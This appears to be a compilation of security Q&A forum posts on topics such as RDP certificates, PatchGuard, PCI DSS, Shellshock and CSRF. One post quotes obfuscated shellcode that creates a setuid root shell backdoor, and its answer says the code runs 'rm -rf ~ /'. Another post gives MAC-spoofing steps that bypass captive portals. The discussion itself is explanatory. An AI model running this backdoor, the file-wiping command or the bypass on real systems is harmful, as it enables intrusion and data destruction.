Remmina RDP Certificate Fingerprint Changed I've been using Remmina to connect to my RDP server across the internet. When I first connected to the server, I had to accept the certificate. I have not had to do that since the first time I connected.

Now, after using this server for a long time, I get a "Certificate Changed! Details:" alert. It shows the Old Fingerprint, and the New Fingerprint. They are different.

Wondering why this is happening, and what the security implications are. Is it possible someone has accessed my server?

I have not changed any software configurations or even made any recent updates on either the server or the client device. This is consistent among other client devices that have also been used to connect to this server.

In my case, the previous certificate had expired, and the server generated a new one. I projected that this was the case based on the timing of the certificate change, compared to when the original certificate was created. I then verified that this was the case by accepting the new cert, logging in, and inspecting the certificate stored on the server, as well as server logs indicating these changes had taken place. The fingerprints matched.

As far as I can see, it would not be possible to verify this theory without accepting the new cert and logging in, unless you had another vector of access to the server, like a remote console (ssh, etc.) an ftp server, or perhaps a reverse shell.

If security is something you value in your connections to your RDP server, you should set the date of expiration on your certs manually, and/or put a reminder in your calendar.

If this had been a man-in-the-middle attack, and I had accepted the cert and logged in, the attacker would then have not only my login credentials, but also have full capturing ability for my session, and any future sessions in which I connect to the intercept server.

Of course, there is the slight chance that I have connected to an intercept server, and the attacker managed to either update the cert on my server between the time I logged-in, and the time I retrieved the server cert. Or perhaps the intercept server edited the graphic data being sent to my client RDP viewer, to match the fingerprint of the intercept server. Though I perceive these to be highly unlikely.


What is the difference between Trusted boot and Kernel Patch Protection (PatchGuard) I have understood that Trusted boot and Kernel Patch Protection (or PatchGuard) are ways that Windows uses to protect itself from rootkit infections. But I cannot find a comparison of these two protection methods. I'm not looking for a detailed technical comparison, but just for a simple conceptual comparison.

I assume that Kernel Patch Protection protects only the integrity of the kernel and system files, while Trusted boot does the same thing, but Trusted boot is also a part of Secure boot which protects also the bootloader (one level higher). Am I wrong? Are there other important differences? And does that mean that Trusted boot is actually a replacement for Kernel Path Protection or just a different name for it?

Another point I am not sure about is that Kernel Patch Protection is available only on 64 bit Windows systems, but what is with Secure/Trusted boot? Is it available also on 32 bit Windows systems?

Question 1:
Kernel Path Protection is focused on the the protection of the Kernel, this means that device drivers cannot modify anything related with the Kernel. If Kernel Path Protection is enabled, you have lower chance of getting any BSoD or that rootkits will be nested into the kernel.
Trusted Boot is more focused on the software that is trusted by the manufacture. So no other programs will be started, like malware.
Both are 2 different kind of methods to protect the system.
Question 2:
Secure/trusted boot is on every system available.
Hopefully I have answered your question.


Encrypting links between registered users and their sensitive data I want to make it impractical to link the users to their sensitive data without their passwords – even with a full access to the database.
Furthermore, if a user has multiple pieces of sensitive data, I also want to avoid linking the different pieces together
Based on the comments and some searching, I have updated the question.
I found a few similar questions but none seem to give the details I'm looking for, or have slightly different prerequisites (f.ex. data sharing).
So, in addition to registering website users and managing them with standard CRUD operations, I'm storing some possibly sensitive pieces of data from the users into the database. In that respect, this question is similar, and the answers offer guidelines for me as well. Specifically, I should not "store anything in [my] database that could be used to obtain the encryption key without knowing the password."
The client side is composed of simple html/css/js pages and, at the moment, a desktop app is not an option. I analyze the data only in groups (based on variables in the data) so that individual data are of no interest. However, I want to keep it possible for the users to see their own data and, for example, to delete the data if wanted.
What I'm thinking is generating a key for each piece of data, encrypting the key–data_id pairs into the database and decrypting them each time an unencrypted key is needed, either for storing data or when a user wants to see their data:
import json
from cryptography.fernet import Fernet

def get_key(password, data_id):

    # Check that the given password is valid
    if not self.check_password(password):
        raise KeyError('The given password is not valid')

    # Always use string representation of the data_id since json allows only string keys
    data_id_str = str(data_id)

    # Create a Fernet object with the password
    f = Fernet(password)

    # Set the encoding for the bytes <-> string conversion
    encoding = 'utf-8'

    # Decrypt and load into a dict the existing keys
    if self.encrypted_keys:

        # Ensure that the encrypted keys are in bytes for the Fernet
        bytes_encrypted_keys = bytes(self.encrypted_keys)

        # Decrypt the encrypted keys and transform the bytes object into a string
        keys_string = f.decrypt(bytes_encrypted_key).decode(encoding)

        # Load the string into a dict
        keys_dict = json.loads(keys_string)

    # Create an empty dict if no keys defined
    else:
        keys_dict = {}

    # Try to get a key for the data_id
    try:
        key = keys_dict[data_id_str]

    # The key not found
    except KeyError:

        # Generate a new a URL-safe 32-byte key and decode as a string into the keys_dict
        key = keys_dict.setdefault(
            data_id_str,
            Fernet.generate_key().decode(encoding),
        )

        # Turn the updated keys_dict into a string
        updated_keys_string = json.dumps(keys_dict)

        # Encode the string into bytes for the Fernet
        bytes_keys = updated_keys_string.encode(encoding)

        # Encrypt the updated keys
        self.encrypted_keys = f.encrypt(bytes_keys)

        # Save the encrypted keys into the database
        self.encrypted_keys.save()

    # Return the decrypted key for the data_id
    return key

Does this seem like a reasonable process? Are there some obvious flaws I'm missing? Is this overkill? Are there some other things I should consider?
I'm aware that a weak spot in this is the strength of the password. I'll try to manage that with the standard strength checks.
I also understand that an access to the server gives the ability to intercept the process and compromise the keys. Of course, if there was a way to prevent this, without a desktop app, I'd be interested. Currently, I'm hoping, at least, to secure the database.
Thank you for the advice!

If I'm understanding correctly:
Forget encryption & decryption and key protection. None of that is necessary.
Use a Hash the same way password identities are kept.
The hash becomes a unique identifier of the data without revealing the user.
You derive a suitably complex hash from the user supplied password. The user can later provide that password for you to re-hash to derive the matching identifier for their data.
No fuss, no muss, no stored passwords.
--EDIT for your newly added constraint--

Furthermore, if a user has multiple pieces of sensitive data, I also
want to avoid linking the different pieces together

Use a random Salt to produce a different hash ID for every data blob. With no other other constraints, you'd have to compute the hash for every salt in the system to find a match. That may be trivial for hundreds, but for much larger values you may want an additional constraint.


Is it considered "hacking" if there is no authorization implemented? Recently came across a theoretical moral dilemma -

The Oxford dictionary defines the computer security form of 'hack'/'hacking' as:

  "Gain unauthorized access to data in a system or computer"

Source: https://en.oxforddictionaries.com/definition/hack

Question/Explanation

With regards to modern computer systems, if one were implemented without authorization, but contains sensitive information that regular users assume is sufficiently protected against, with no real reassurance from the site they've been using, and a third party reverse-engineered the site to gain access to it, is it considered "hacking"?

Further Notes

The system described does not immediately provide the regular users with any legal agreements or confidential documentation ensuring that their data is secure.
They are however confident in this instance that the sensitive information provided to the site is somewhat secured.
When I mentioned 'no authorization', I mean basic authentication and session handling, but information on the back-end does not conform to this, and the API is freely poll-able.

With regards to modern computer systems, if one were implemented
  without authorization, ...and a third party reverse-engineered the
  site to gain access to it, is it considered "hacking"?

Probably.  While the case never resulted in a precedent-setting judgement (due to the suicide of the defendant), United States v. Swartz represents a case where charges under the Computer Fraud and Abuse Act were filed against someone who scraped an online database using guest access:

  According to the indictment, Swartz surreptitiously attached a laptop
  to MIT’s computer network, which ran a script named "keepgrabbing.py",
  allowing him to "rapidly download an extraordinary volume of articles
  from JSTOR."

And from Wired:

  But the feds clearly think they have a substantial hacking case on
  their hands, even though Swartz used guest accounts to access the
  network and is not accused of finding a security hole to slip through
  or using stolen credentials, as hacking is typically defined.


Standard practice for distributing server certificate for users I have a Winforms app that users have to download and install on their machines. It connects to a WCF service(using SSL), hence requires the server certificate to be installed on users' Trusted Certification Authorities. Can anyone suggest the best practice for distributing a server certificate to allow users to download it from a website and install it on to their machines?

Thanks.

You don't. Typically, the certificate store that contains trusted CA roots is a critically important element of the security in PKI.

It's literally the root of your trust chain. You cannot just have your users add a certificate there blindly because manipulating that store is something that is only done through a secure channel - something that, in your scenario, you have yet to establish.

That is why the best practice is to have you certificate signed by an authority that is already deployed on the client devices - usually a public CA but it could also be a private CA in a corporate network.


Is encryption required to store non-PAN data under PCI DSS? We do not store PAN card data, but we do store other non-PAN data such as expiration date, billing zip, and cardholder name.  We store this info for use with card-on-file tokens provided by our payment processor.  Do we need to encrypt this non-PAN data in our database without the PAN?

We expect to qualify for PCI-SAQ D under PCI DSS 3.2.1.

Do we need to encrypt this non-PAN data in our database without the
  PAN?

No.  To quote the DSS, "If PAN is stored with other elements of cardholder data, only the PAN must be rendered unreadable according to PCI DSS Requirement 3.4."  We can assume that when stored with tokens or other non-PAN data, this non-requirement stands, because "[PAN]  is the defining factor for cardholder data."

The first quote is from page 8, which also has a nifty table showing what must be rendered unreadable:


How to facilitate the export of secret strings from an offline system? I want to use Shamir's Secret Sharing algorithm to store a randomly generated passphrase securely by spreading the secret shares on paper for example.

The passphrase is generated on an offline system. I am looking for a way to ease the process of "exporting" those secrets which can be quite long (~100 hexadecimal characters).

First I converted the secrets from hexadecimal to base64. That is not bad but not enough.

Then I tried to compress the strings using different methods but because it is random data it does not compress well (or at all).

Then I though of printing them as QR code, it works fine but the issue comes later when I need to import the secrets back, because I would need a camera.

Is there anything else I could try?

As you have found yourself, random strings, especially cryptographic secure ones, cannot usually be compressed.

If you are mostly worried about typos, and you can accept an increase in length, you could use a wordlist approach, for example using the PGP word list or the S/KEY dictionary.

Alternatively, you could opt for bar codes. They don't require a proper "camera" in the traditional sense of the word. Using this approach, you would simply buy one (or more) barcode readers and use them to read the secrets from a piece of paper.


Is eFax more secure than analog faxing? I have recently come out of a meeting with a VoIP sales agent. He mentioned that we would receive eFax with the phones which is, in his words, “…more secure then analog faxing” when I asked him, how it was more secure he mentioned that one of his co-workers was able to access all the data on an analog line within minutes and see everything on the network.

So I mentioned SSL encryption, and it would obviously be possible to see the data if you man-in-the-middle the network with a rogue access point.

However I am not entirely sure if it is possible to encrypt faxes or not. So my question is, this, why is eFax more secure then analog fax (regular faxing) and what security measures can you take to encrypt faxes?

Fax over VoIP (which is normally what eFax means) is not any more secure than Fax over pure analog lines.  To clarify, eFax isn't a technical term, it's a marketing term.  The underlying Fax is still an inherently analog technology, and the VoIP technology underlying it is merely trying to emulate the analog lines.  Normally the other end of the call is often going to be an analog line connected to the PSTN.

Futhermore, the VoIP portion of the call isn't encrypted, is sent over un-encrypted RTP and hopefully T.38 and can pass through multiple carriers before arriving at the destination.  There's no reason to think tapping these lines is any more secure than tapping an analog line.  Wireshark has nice tools to intercept this traffic if you have a place to sniff.

Without using some sort of proprietary technology on both the sender and receiver, it's not possible to encrypt Fax.  If you're concerned about someone intercepting the transmission, the short answer is don't use Fax, use some form of digital communication that's encrypted.


What is the best form of authorization for captive portal WiFi I've been looking into captive portal WiFi implementations and on a few I'be been able to easily bypass their login with the following steps:

1) Open Wireshark and run a report getting the most used IPs in my
network (except the router's IP and mine)
Chang my mac address to that IPs associated mac
refreshing the NIC

My rational was that it seemed like most captive portal just redirect all your traffic to a login page, once you login it seems to whitelist your mac.  So I just found the IPs that had the most traffic that were on my network and assumed they are probably already authorized to use the internet.  Sometimes it takes a few tries to get the right mac, but this normally works.  I'm wondering what other better authentication methods are out there that solve this problem.

As you have identified, MAC address based authentication/authorization is not effective. A proper solution is 802.1X, which can be implemented using WPA2 or WPA3 enterprise. This way, credentials are exchanged over a secure channel, and authentication is required before you are allowed to join the wireless network.

This model is a bit different, since it requires knowledge of credentials before ever connecting. This is an issue for paid WiFi networks, or since the setup isn't as easy for a regular user. One method to resolve this is to provide an open WiFi network where the user can register/pay/login (of course, requiring HTTPS). After setting up their account, they can download a profile that allows them to connect to the WPA enterprise network. This is the model used by Xfinity WiFi hotspots. The problem still remains that anybody can create an open network to impersonate the legitimate one, and collect credentials that way, unless the user is trained to validate the domain and HTTPS. Depending on the setting, this may be mitigated just like any rogue network scenario.


Is it possible to inject information into a clients TLS session cache? Hypothetically speaking, could an attacker run a targeted attack on a network that would inject information into a victim's cache of recent TLS connections?  Specifically, the master-key and sessionID of your existing session you'd maintain with a specific website the victim would likely visit later.

When the victim goes to connect to the website over https, the full handshake will be forgone and the client will attempt to renegotiate a session using the injected (and known by the attacker) master key and sessionID.  In turn, allowing the attacker to eavesdrop on all following encrypted communications.

Is this correct, or is my understanding of TLS implementation incorrect?  Of course, injecting the information is a mountain to climb all it's own; but I'm still learning a lot about TLS and asked myself this question.

A cached and reused session with attacker-chosen key will only work to/via the attacker, since the legit peer who has been impersonated won't know this id and key. So this doesn't allow passive eavesdropping, it allows active impersonation (including MitM) to continue more efficiently once it has been started, just as it allows continued legitimate connections to be more efficient.

Obviously intercepting and faking the initial connection (with full handshake) will cause the peer's normal cache logic (if any, see below) to store the evil session. Beyond that malicious alteration to the cache depends on the implementation; there isn't any TLS operation which pulls sessions into cache the way DNS or ARP will pull "poisoned" entries off the wire.

You tagged openssl and described the action of https client only, although your question doesn't state such a limit. If you do mean openssl client, that does not cache at all by default. If the client app or perhaps user specifies the context needed for caching, by default openssl will keep the cache only in memory, although the app can provide callbacks to do something else. In contrast openssl server does cache in memory by default, and at least some real servers do use an external session store shared by mutiple processes to handle a large client volume.

If other implementations are of interest, ask a more specific question. (Or if you can formulate it as an improvement to this question please be clear about the change; it is considered impolite in this forum to "orphan" already given answers.)


URL changes to *.compute-1.amazonaws.com/ when entering website, do I have a problem? I was browsing for help on how to connect a PS2 controller to my pc. I found what I was looking for here:
https://gaming.stackexchange.com/questions/262873/do-playstation-2-controllers-support-usb-connections
In the second comment he linked to a site with a guide. I right clicked and copied like a always do for safety, and pasted it in to the url bar. It showed this URL which seemed legit: http://store.curiousinventor.com/guides/PS2.
But when I entered it the url changed to this:
http://ec2-50-16-216-49.compute-1.amazonaws.com/
I am wondering if this is some form of malware that redirected me or if is it safe?
I just recently reinstalled windows and I have avast antivirus and windows defender on, nothing popped up. I use Brave browser if that is to any help.

I do not know if this is the correct place to ask this question, but I'm paranoid and couldn't find a better place...

Thank you for your answers!

Nah, it's fine on your end— just an HTTP redirect. See below...

curl -v http://store.curiousinventor.com/guides/PS2
*   Trying 50.16.216.49...
* TCP_NODELAY set
* Connected to store.curiousinventor.com (50.16.216.49) port 80 (#0)
> GET /guides/PS2 HTTP/1.1
> Host: store.curiousinventor.com
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Sat, 14 Apr 2018 20:18:12 GMT
< Server: Apache
< X-Powered-By: PHP/5.5.27
< X-Frame-Options: SAMEORIGIN
< Location: http://ec2-50-16-216-49.compute-1.amazonaws.com:80/
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host store.curiousinventor.com left intact

EDIT: That said, it doesn’t seem like that has anything to do with what you were looking for, so their website may have been compromised.


Are there methods for determining the exploitability of bugs, after a crash is found in fuzzing? I have found this,
https://msdn.microsoft.com/en-us/magazine/cc163311.aspx

It says that only "a full root-cause analysis can ensure that you have correctly diagnosed whether a given crash is exploitable". Is it possible to do such analysis without access to source code ? How ? If not, what´s the closest to "full root cause analysis" that can be done without source code ?

If this is public application and you can install it on your computer so you can debug it with any debug software you want, for example with immunity debugger and than you can analyse the crush and see what happen in the cpu registers and memory when the crush happen and find a way to inject your code (shellcode) in the right place so the application will run it..


How can I build a simple website that contains SQL injection vulnerabilities? How can I build a simple website that contains SQL injection vulnerabilities for study purposes? What do I need to learn?

There's an app for that. See https://owasp.org/www-project-juice-shop/
It's a project designed to break all the rules, so you can study it. You can try and find all the problems, not only sql-injection.


"Shell shock" - exploitable when `system()` syscall or `exec(bash)`, right? Is my understanding correct that in order to exploit via "Shell Shock", binary we influence needs to execute bash (and we need to have influence on command line)?

Therefore, am I correct,
that if binary does not execute bash directly,
and does not use system() system call (which uses shell for command evaluation),
but, instead, calls helper programs via system calls from exec() family (or loads via dynamic loading like ld etc), than given binary is "shell shock" safe?
(Of course it applies transitively, if we can influence how helper apps are calling their helper apps)

And if system exposes only such binaries to inputs from external world, that given system is "shell shock" safe ?
(Therefore, checking for lack of system() calls and exec() calls of bash is good audit evaluation criteria?)

Wrong on both counts.

In order to exploit the "shellshock" vulnerability, an attacker needs to control at least one environment variable (easy to do through CGI, SSH, or DHCP), and bash needs to be invoked at some point with the modified environment: directly as the result of an exec(), indirectly through system() or equivalent, highly indirectly through exec() of a helper app that in turn calls system(), and so on.

bash doesn't need to be invoked by name, either.  On many systems, /bin/sh is a symbolic or hard link to /bin/bash, so running any script that starts with #!/bin/sh will result in bash being run.


Is it safe to delete a Veracrypt container, empty, never mounted? Something weird happened with my computer as I was trying to work on the keyfiles and now I can't mount it the volume. I would like to just delete it but I wanted to make absolutely sure that it wouldn't do something weird to my computer if I did. Any help would be greatly appreciated, it's going to irk me until I can get rid of it.

It's safe. Just the same as deleting  file.


Is SSL a mitigating factor for HTTPonly not set on cookies? I have a few sites that are using HTTPS (no mixed mode HTTPS/HTTP).

The cookies do not have a HTTPOnly flag set. They do pass along session IDs.

Also some of the sites do not have a "Secure"flag set in the cookie along with the HTTPOnly flag.

Is running these sites in SSL a sufficient mitigating factor ?

If not, what would the severity of this finding be?

HTTPOnly isn't really related to HTTPS. It instructs the browser not to make the cookie visible to JavaScript. So if there is an XSS flaw, regardless of HTTPS it should not be able to steal the cookie through that flaw.

The Secure if received over HTTPS instructs the browser to only send the cookie over HTTPS connections. It's meant to prevent an attacker from sniffing the cookie over the network (open wireless etc.).

HTTPOnly does not stop sniffing on an open wireless network. Secure does not prevent JavaScript from reading the cookie in case of XSS.


What is "tmUnblock.cgi" and can it be exploited by Shellshock? (Linux / Apache webserver) I found what looks like a possible attempted Shellshock attack targeting tmUnblock.cgi, and I'm trying to understand it.

I was checking through Apache access logs for a small webserver during the time period between the Shellshock bug becoming news and the server being patched, looking for suspicous entries.

It gets low traffic, so it's actually possible for me to read through the whole access log and spot unusual entries. These are mostly "white hat" scans such as Errata Security's "Shellshock Scan of the Internet", with the Shellshock attempts visible in the log entry through being present in the user agent.

One, however, looks like it might be a more serious attack attempt:

72.229.125.183 - - [26/Sep/2014:18:16:48 -0400] "GET /" 400 464 "-" "-"
72.229.125.183 - - [26/Sep/2014:18:16:48 -0400] "GET /tmUnblock.cgi HTTP/1.1" 400 303 "-" "-"

There's about 4 of these in my logs, all from different IPs, all from after Shellshock was publicised. Their IPs all come from odd, unrelated sources that seem plausible for bots.

The first appears to be a scan (testing vulnerability?), then there's an attempt to target a cgi script. Unlike the white hat stuff like the Erratta Security scan, there's nothing giving away its purpose in the user agent (my understanding is that 'serious' Shellshock attacks will use headers that are not logged).

I've never heard of tmUnblock.cgi and it doesn't appear to exist on my server, so I'm mostly asking out of curiosity (I hope!). What is tmUnblock.cgi and is it something that could be targetted with a shellshock attack?

My own attempts to research tmUnblock.cgi ended in confusion. It seems associated with an exploitable bug in Linksys routers discovered in Feb 2014, which seems to be related to executing shell commands and seems to have been used to propagate worms in the past, but that's all I can find.

tmUnblock.cgi is a binary CGI executable in some Cisco/Linksys router firmwares that has multiple security holes that permit various attacks on the router.  It is unrelated to the "shellshock" vulnerability.

Unless your "small webserver" is somehow running on a Cisco/Linksys router with stock firmware, the log entries are nothing to worry about.


Is double hashing bad? I hear rumors that double hashing is bad...

like hash("sha512", hash("whirlpool", "string"))

Is it bad and less secure? if so why?

Thanks for any help!

I haven't seen much in the way of guidance on this, but from what I can see you're not likely to run into any issues.

Theoretically, you'll be reducing the entropy of the input if your inputs are larger than your first hash. In reality, I'm not sure that it's a problem.

When migrating an application from unsalted MD5 to bcrypt, I simply bcrypted everybodys MD5 hashes then bcrypt(md5('password')) to check it at login. I reasoned that MD5 digests are 128-bit and that's much larger than than the likely entropy of peoples passwords.

In comparison, whirlpool hashes have a digest output of 512-bits.


What does this potentially malicious code do? While reading a website called 4chan/b/ someone posted this code snippet, i was wondering what it does when executed? it appears to be C code, how harmful is it?

This is the full post:

Run a live system and try this:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
                                               release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Would it be safe to test it in a sandbox?

The hex gibberish you see is machine code.

Googling for that particular hex string reveals this wiki page.

According to the wiki, this actually runs:

rm -rf ~ / &

Yes, it's pretty harmful but it should be safe to run in a virtual machine, if you have a backup (or snapshot), under a non-privileged user, otherwise running it as a privileged user will erase your files


Is CSRF possible against a PDF download that requires cookie auth? A site I work on has a link that downloads and opens a PDF containing sensitive user data. The user's authentication cookie is checked serverside to ensure they have access to the data before generating and serving the PDF. However, I worried about the prospect of data being leaked by a CSRF attack. Because the PDF is opened by the user clicking an ordinary <a> link, most CSRF defences are not viable or incur security or UX tradeoffs. For example:

Adding a custom header with a CSRF token or double-submitting the authentication token via a header would require using an XHR via JavaScript to make the request for the PDF, and would break the user's ability to open the link in a new tab
Adding any kind of token to the link URL would make the URL less readable and user-friendly

Am I right to be worried about CSRF in this scenario, or is the same origin policy sufficient to let me just rely on cookie authentication for this endpoint without fear of leaking user data? The kind of attack I'm envisaging is one like the famous Gmail CSRF flaw that leaked your contacts list - I'm concerned that by provoking the download in a way that triggers some side effect in the browser, an attack site could make inferences about the content of the PDF, although I have no idea what the precise mechanism of such an attack would be.

A CSRF is a write-only operation from the perspective of the attacker. This means the attacker could initiate the download or view of the PDF inside the client browser, but he can not access the PDF just downloaded. The attacker might get some meta information though, like do some timing together with heuristics to defer if the download was successful or how long the PDF might be.

  ... famous Gmail CSRF flaw that leaked your contacts list

In this attack Gmail provided the contact list as Javascript which could be included in the attacker page and would be executed in the context of the attackers page. This is specific to script and can usually not be done with a PDF.

The attacker could of course try to include the PDF as script.
One could actually construct a PDF which is both a valid PDF and valid Javascript and thus if the attacker has enough control over the generation of the PDF he might be able to use this technique to get access to the unknown part of the PDF.


How does Google protect against scraping? I'm trying to implement security against scraping on my website to prevent basic scraping techniques.

Google seems to have a very good protection against scraping, but it's so good that I'm unable to understand its mechanism.

I was trying to make an http GET request as "normal user" using normal browser headers and query parameters.

It was working all fine before certain number of requests, then it displayed 503 error page notifying me that unusual traffic was detected, it also contained my external ip address.

What's weird, is that from my normal chrome browser there were absoloutely no errors when making request to that certain url, but with my custom http requests it kept displaying status 503.

I was almost certain that proxy server could bypass such protection, but I was wrong - even though website displayed different ip address, I kept receiving status 503 error.

Request information

Main
----
Method: GET
URL: https://www.google.com/search

Data (Query parameers)
----------------------
q: "this+is+example"
ie: utf-8
oe: utf-8
start: 0

Headers
-------
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36'

The information that was sent from my browser was generated by Chrome - I was logged in, therefore session cookies were sent within the headers as well.

If not http rate IP rate limiting and cookie rate limiting, how could Google identify such scraping bot? Is there any other method that can offer such protection?

One "obvious" way that comes to mind (but I have no idea whether Google does this) is it is looking for related requests that a browser would generate after retrieving the main page.

A browser will retrieve the main URL and then (for a typical page) request several additional items: JavaScript files, images, CSS files etc.
Depending on how you're scripting the get (e.g. you only mention "make an HTTP GET request") if it sees repeated requests for "main pages", but no interleaved requests for .js/.css/.jpg files, then it might assume you are a script.


How plausible are cyber attack attributions between states? When an attack on IT systems of a state is discovered, often another state is publicly blamed for it within a few days. I wonder whether these attributions are plausible from a technical point of view.
How are sophisticaed cyber attacks traced? Is it trivial to hide one's geographical location in a large-scale attack? Are the common explanations (such as "using methods often employed by attackers from country X") reasonable?

Typically the methods used or the way the malware has been put together reveals something about the attacker, making this kind of attribution possible. It's not so much about the geological location but the people or entities behind the attack.
However, it gets more complicated as nation state actors have so much more resources. Having the intelligence to recognize these patterns they can also frame other countries to hide their tracks. A good example of such is in Darknet Diaries Ep 77: Olympic Destroyer (transcript):

It was just a kind of tingle of forensics with clues pointing in every
direction and as soon as you thought that you had come to a
conclusion, there was another hypothesis to undermine it. There was
just a kind of unprecedented scenario where it seems like the hackers,
instead of trying to simply cover their tracks, they had built-in
tracks pointing in every direction at once.

(This quote was picked to prove the point without spoiling the episode i.e. who was behind it and how they finally came with that conclusion.)


DNS access limitations Im working on a script that's going to talk to a DNS on a LAN that have information about local domains. And I believe its blocking my requests.

So my question is: How can you limit a DNS server to only handle request from some clients and not all clients true different authentication methods?

Most DNS servers support views -- the idea that different data will be presented to clients depending on their IP address.  ACLs per IP address are also frequently supported for individual functions (e.g. BIND's allow-query, allow-transfer and allow-recursion clauses).

It's possible your IP is not allowed to query a specific server (or zone), that the view you see doesn't contain the zone, or that you are not allowed to make recursive queries.


What are the career paths in the (illegal) computer security field? As a whitehat pentester I often wonder about the darkside.  I see myself working in the office,  and imagine that there is someone just like me in China or Romania or in their parent's basement that is pretty much doing the exact same thing,  but hurting people for money or just for the "lulz".

Similar to this great question: "What are the career paths in the computer security field?".  What is the job scene like on the darkside?  What kind of crazy job opportunities await the amoral hacker?   Do all of the "common roles" covered in AviD's answer have a darkside counterpart?  What about the gray areas of computer security? (Which some of us consider to be just plain-old blackhat)

My 2cents here: While not technically illegal these companies have managed to develop malware and exploits, without anyone bugging them, because they sell them to governments, law enforcement agencies, secret services, organizations and, in case of some of the companies, to anyone else interested.

Such companies include:

VUpen
Paladion

More information can be found: here.


POODLE vulnerability in Safari I have been trying to mitigate POODLE on client side in my organization. I disabled SSL3 in most browsers but couldn't disable it in Safari. Apple released a  Security Update 2014-005, which, according to apple, addresses POODLE.

However, Safari is still vulnerable to POODLE according to various SSL testing sites.

I just want to disable SSL3 in Mac (Safari). Is there a way?

The security update for Apple does not disable SSLv3, but it disables "cipher block chaining", which is at the heart of the POODLE exploit, explained by CISCO:

  "The vulnerability is due to improper block cipher padding implemented in TLSv1 when using Cipher Block Chaining (CBC) mode. An attacker could exploit the vulnerability to perform an "oracle padding" side channel attack on the cryptographic message. "

So the POODLE testers are looking for SSLv3, which is one way to mitigate POODLE, but disabling CBC mode is also a great way to protect yourself.

To answer the heart of your question, no, you do not have control over the cipher suites used in Safari. But the APPLE-SA did fix the POODLE vulnerability.


SSL replay attack when client/server random is missing Hey studying the SSL protocol, I'm wondering how can someone be able to do a replay attack if the server nonce is missing? All the material I find says that nonces prevent it, but theres no examples which specify why or how

If the server uses the same nonce (called "server_random" in the SSL/TLS specification) and the same session ID than for a previous handshake, then an attacker can send the exact same packets than what the client sent during that previous session, and the server will accept the whole thing. At least if the server uses a RSA key exchange cipher suite (which is the most common case).

This can easily be seen by following how the various cryptographic elements are computed. The ClientKeyExchange message contains the pre-master-secret, encrypted with the server public key; that packet can be replayed and is still a properly encrypted version of the same pre-master-secret. The encryption and MAC keys are then derived from the pre-master-secret, the client_random and the server_random, through the SSL/TLS "PRF" which is deterministic. Thus, if the randoms are unchanged (i.e. if the server uses the same server_random than previously, and the attacker sends the same ClientHello message than during the previous session) and the pre-master-secret is also unchanged, then the server will infer the same symmetric keys and will thus accept the captured encrypted packets as being genuine.

The attacker doing the replay would not gain any extra insight as to what the application data could look like; the attack is not a decrypting attack. But from the server point of view, this would look like a second genuine, voluntary connection. For a SSL connection used for a HTTPS POST request for a credit card payment, this would mean a double payment.

Fortunately, it takes incompetence of non-standard magnitude to achieve a SSL server which always uses the same server random and the same session ID. I am not saying it never happens; only that it happens rarely. Notably, the TLS specification insists on the idea that the first four bytes of the client_random and the server_random should encode the current date and time, with a 1 second accuracy: if honored, even with a badly skewed clock, this alone ensures that a server with a badly flawed RNG will still use a distinct server_random after one second.


Why is cell phone reverse lookup still so impoverished? Often you get a call from a non-business number and your phone's filter app doesn't know who it might be. You might Google it, and find a thousand sites promising to tell you its owner, but they only have placeholders.
This is kind of surprising to me. With the amount of data leaking and unconscionable data sharing with third parties by half the sites you give your number to, doesn't it seem likely that a large proportion of numbers would have names attached to them?
Don't get me wrong — I'm not advocating for this kind of loss of privacy. I'm just curious how it is that the number-owner mapping has remained relatively obscure. I'm probably missing something obvious.

It's not obscure, it's been monitized. If you're willing to pay for the information it's generally available.


Is there a router that acts as a VPN to get into the network but also sends traffic out through a VPN? I have several servers that I want to lock down so they're only assessable from inside the network so I need a router that allows me to VPN in. On top of that I want certain ports(22,8022) from my servers location to go through another VPN. Is this possible, what should I be looking for?

Most modern firewall appliances do a decent job as a VPN concentrator - routing traffic through various VPN tunnels - and a good SSL VPN appliance is worth looking into for user access into your secure network: it offers security features (such as checking the AV definitions on the user's PC to see if it's up to date) and ease of deployment to the user's desktop (usually a java app launched by the browser) that are not always available with traditional VPN solutions.


What happens if your email file on local drive get's encrypted and it then syncs to the cloud? Does email syncing using MS Exchange exchange work in a similar way to Dropbox such that a change made on the local drive automatically syncs with the cloud version of that file? Or is it one way only from the cloud to the local drive?

So for example I have an OST file on my local drive which is synced to the cloud using MS Exchange.
The OST file on the LOCAL drive gets encrypted by Wannacrpt. Will the email stored in the cloud also become encrypted? If yes, is it possible to roll back to previous un encrypted versions of those emails?

It seems very unlikely that Exchange would be able to communicate with a corrupted system.

It is hard enough to get it to work correctly under ideal conditions.


Store hashes for a finite set of strings that would be extremely time consuming to reverse via table lookup but also allow grouping Lets say I have finite set of strings (lets say half a billion).  There can never be any other strings I would need to store other than these half a billion strings.  The strings may be repeated in my database.  I need a safe way to store these values so that I can take user input, run it through the same hash and test if the value exists.  I also need a way to be able to group values that were the same before the hash without to much exposure to the original value.  Lastly values may be added at any point in time, so the grouping of values can't be done prior to hashing.  I will never need to know the original string value that was hashed.

I need to be able to group rows based on this value, but I don't need to know what the original value was they were grouped by.

For brevity of my question, if I used a hash (CRC-32) by itself I would end up with values in the following table.  (I'm not going to use CRC-32, it's for an example because it's hash is short and easy to demonstrate the question.  I'd most likely used bcrypt or PBKDF2)

                   Original
                   Value
Id Name  Hash      Not Stored
-----------------------------
1  Erik  68EFFF54  Apple
2  Tim   1A69B44E  Orange
3  John  68EFFF54  Apple

